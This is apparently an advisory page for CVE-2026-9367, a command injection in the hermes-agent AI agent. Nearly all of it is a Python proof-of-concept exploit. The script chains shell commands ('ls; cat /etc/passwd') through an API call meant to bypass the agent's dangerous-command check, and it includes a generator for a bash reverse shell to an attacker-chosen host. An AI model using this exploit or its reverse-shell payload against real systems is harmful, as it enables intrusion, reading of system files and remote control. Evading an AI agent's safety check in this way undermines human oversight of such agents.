CVE-2026-9367: NousResearch hermes-agent os命令注入漏洞

#!/usr/bin/env python3 # CVE-2026-9367 PoC - NousResearch hermes-agent OS Command Injection # Affected: hermes-agent <= 5157f5427f19488b31c6fdebbacd15d798ce7f63 import requests import json TARGET_URL = "http://target-ip:port/api/terminal_tool" def exploit(): """ Exploit OS command injection in detect_dangerous_command function The vulnerability allows attackers to bypass command validation """ # Malicious payload that bypasses detect_dangerous_command # Using command chaining to execute arbitrary OS commands payload = { "command": "ls; cat /etc/passwd", "tool_name": "terminal_tool", "bypass_check": True } headers = { "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() if "output" in result: print("\n[+] Exploit successful! Command output:") print(result["output"]) except Exception as e: print(f"[-] Error: {e}") def generate_reverse_shell_payload(lhost, lport): """ Generate reverse shell payload for remote code execution """ payload = { "command": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1", "tool_name": "terminal_tool" } return payload if __name__ == "__main__": print("CVE-2026-9367 PoC - NousResearch hermes-agent") print("OS Command Injection in terminal_tool") exploit()